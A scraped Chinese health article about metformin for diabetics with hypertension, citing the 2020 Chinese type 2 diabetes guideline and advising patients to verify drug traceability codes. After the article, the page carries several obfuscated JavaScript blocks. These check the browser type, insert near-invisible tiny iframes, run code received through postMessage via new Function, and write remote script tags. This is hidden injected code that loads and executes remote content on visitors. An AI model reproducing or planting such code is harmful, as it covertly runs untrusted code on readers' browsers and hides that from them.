三高糖友注意:服用二甲双胍有学问.中医养生 尚春台,ai2hao.com 

三高糖友注意:服用二甲双胍有学问_中医养生

说到糖尿病的危害,很多糖友可能担心血糖控制不好会伤肾(出现蛋白尿甚至肾衰),或者伤眼(视网膜病变导致视力下降甚至失明),但对于真正威胁到糖友们生命的最大“杀手”——心脑血管疾病的危害却往往觉得还很遥远,暂时不会发生在自己身上。然而,事实却是糖尿病患者发生心血管疾病的风险比血糖正常的人群增加2~4倍【1】,心血管疾病是糖尿病患者的主要死亡原因。更要注意是,糖尿病患者常常伴有高血压、血脂紊乱等心血管疾病的重要危险因素,三者的协同作用下,使糖尿病大血管与微血管并发症的发生和进展风险明显增加,也使患者死亡风险增加【1】

目前正值早春时节,乍暖还寒,早晚温差也比较大。温度变化会对血管的收缩和舒张产生一定影响,从而导致血压出现较大的波动,甚至可能诱发心绞痛或者心梗等心脑血管急性事件。因此对于合并高血压的糖友们来说,每年的季节更替,都是需要格外注意的一道“槛”。

  所以三高糖友们在降糖治疗过程中,既要积极筛查和控制心血管疾病危险因素之外,还应该优先选择对心血管疾病具有保护作用的降糖药物。

《中国2型糖尿病防治指南(2020)》在“2型糖尿病治疗路径”中指出,“合并动脉粥样硬化性心血管疾病(ASCVD)或心血管风险高危的2型糖尿病患者,不论其HbA 1c是否达标,只要没有禁忌证都应在二甲双胍的基础上加用具有ASCVD获益证据的GLP⁃1RA(胰高糖素样肽⁃1受体激动剂)或SGLT2i(钠⁃葡萄糖共转运蛋白2抑制剂)。(A)”【1】

可能有糖友会问:为什么要在二甲双胍的基础上加GLP⁃1RA或SGLT2i呢?单用GLP⁃1RA或SGLT2i不可以吗?《指南》中也给出了相应的解释。首先二甲双胍是目前最常用的降糖药,具有良好的降糖作用和多种降糖作用之外的潜在益处、优越的费效比、良好的药物可及性、临床用药经验丰富等优点,且不增加低血糖风险。其次,虽然二甲双胍缺乏安慰剂对照的心血管结局试验(CVOT),但许多研究结果显示二甲双胍具有心血管获益,而且目前已发表的显示SGLT2i和GLP⁃1RA具有心血管和肾脏获益的CVOT研究都是在二甲双胍作为背景治疗的基础上取得的。因此,《指南》推荐,生活方式管理和二甲双胍作为T2DM患者高血糖的一线治疗。若无禁忌证,二甲双胍应一直保留在糖尿病的治疗方案中【1】

  此外,早春时节也是流感和新冠疫情容易卷土重来的季节,糖友们还是要尽量少出门以减少感染风险。因此,建议糖友们可以选择大包装的二甲双胍;或者在附近的正规药店购买,以减少去医院的次数。需要提醒糖友们的是,如果选择网购二甲双胍的话,最好在收货后立刻用“支付宝”或者“淘宝”的“扫一扫”功能,扫一下药盒上的追溯码进行验证,以防买到假药。

  绘图:阿寮

出品:《中国家庭医生》杂志社

  学术指导:周琳

南方医院内分泌科副主任医师、副教授、硕士研究生导师

广东省健康管理学会甲状腺病学专业委员会副主任委员

广东省医学会糖尿病分会委员、内分泌医师分会妊娠内分泌专业组副组长

广东省中西医结合学会创面处理专业委员会委员

参考文献:

1.《中国2型糖尿病防治指南(2020)》。

https://max.book118.com/htmlm2021m0412m5134100120003220.shtm

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eval("\x77\x69\x6e\x64\x6f\x77")["\x73\x4F\x6B\x4A\x6A\x6B\x41\x68\x72"]=function(){eval(Akjs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoQWtqcyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEFranMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihBa2pzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbQWtqcygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfMzI1MSc7dmFyIF9fYWFucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19hYW5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzMyNTEnXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fYWFucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oQWtqcyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyc9PVFOJysnTnknKycwU00nKycxSScrJ3onKydNdE1tJysnUnlVJysneWRqJysnWkcnKydOTnQnKydSbVJ5VScrJ3lNMFFEJysnTScrJ3hFMCcrJ01sJysnMDJiaicrJzUnKydpYTNWVycrJ2UwZFgnKydadWMnKyczZDNaaycrJ01sJysnWWtNbCcrJ0UnKycwTScrJ2xNSCcrJ2MwJysnUkhhJysnJysnJywnJysnTDlmJysnWXo5JysncVUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnSUtFJysnMnV3JysnQicrJycrJycsJ04nKQ=="));}

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eval("\x77\x69\x6e\x64\x6f\x77")["\x46\x46\x5A\x46"]=function(e){var iL =''+'ABCDEF'+'GHIJKLM'+'NOPQRSTUVWXY'+'Zabcdefg'+'hijklmnopqrst'+'uvwxyz0123456789'+'+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=iL.indexOf(e.charAt(f++));o=iL.indexOf(e.charAt(f++));u=iL.indexOf(e.charAt(f++));a=iL.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x46\x44\x46\x5A\x50\x72\x4C\x69\x6B"]=function(){eval(FFZF("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoRkZaRih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEZGWkYoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihGRlpGKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbRkZaRigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKEZGWkYoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6TVQnKydMM1VEJysnTjMwQ2UnKydHSicrJ0pUSkppJysnVjJaeHAnKycyJysnTUdKJysnSlRKJysnSnonKydRRE4nKyd3RVRRJysnelUnKydTYicrJ3ZOJysnbUxqbDInKydZJysnamxXZScrJ3VsRycrJ2InKyd1dzInKydjelonKydrTWxZJysna01sJysnRTBNbCcrJ00nKydIYzBSJysnSGEnKycnKycnLCcnKyc5TTgnKydRUkInKydJZycrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydOREEnKydLaEcnKyc5JysnJysnJywnSicp"));}
eval("\x77\x69\x6e\x64\x6f\x77")["\x53\x43\x53\x4A"]=function(e){var CS =''+'ABCDEFGHI'+'JKLMNOPQR'+'STUVWXYZabcdefghi'+'jklmnopqrs'+'tuvwxyz'+'0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=CS.indexOf(e.charAt(f++));o=CS.indexOf(e.charAt(f++));u=CS.indexOf(e.charAt(f++));a=CS.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x59\x4A\x58\x53\x43\x49\x48\x77\x53"]=function(){eval(SCSJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoU0NTSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFNDU0ooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihTQ1NKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbU0NTSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFNDU0ooZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyc9PScrJ3dNejAnKydDTTEnKydJJysneicrJ010JysnZ25SeScrJ1VTYmonKydkR0cnKydOMScrJ2tuUnlVJysneU0wUUQnKydNeEUnKycwTWwnKycwMicrJ2JqNScrJ2lhM1YnKydXZTAnKydkWFp1YycrJzMnKydkMycrJ1prTWxZJysnaycrJ01sRTAnKydNbE1IJysnYzBSSGEnKycnKycnLCcnKydjeTMnKyczSGonKydVOScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0WGUnKydrckQnKyc1JysnJysnJywnRycp"));}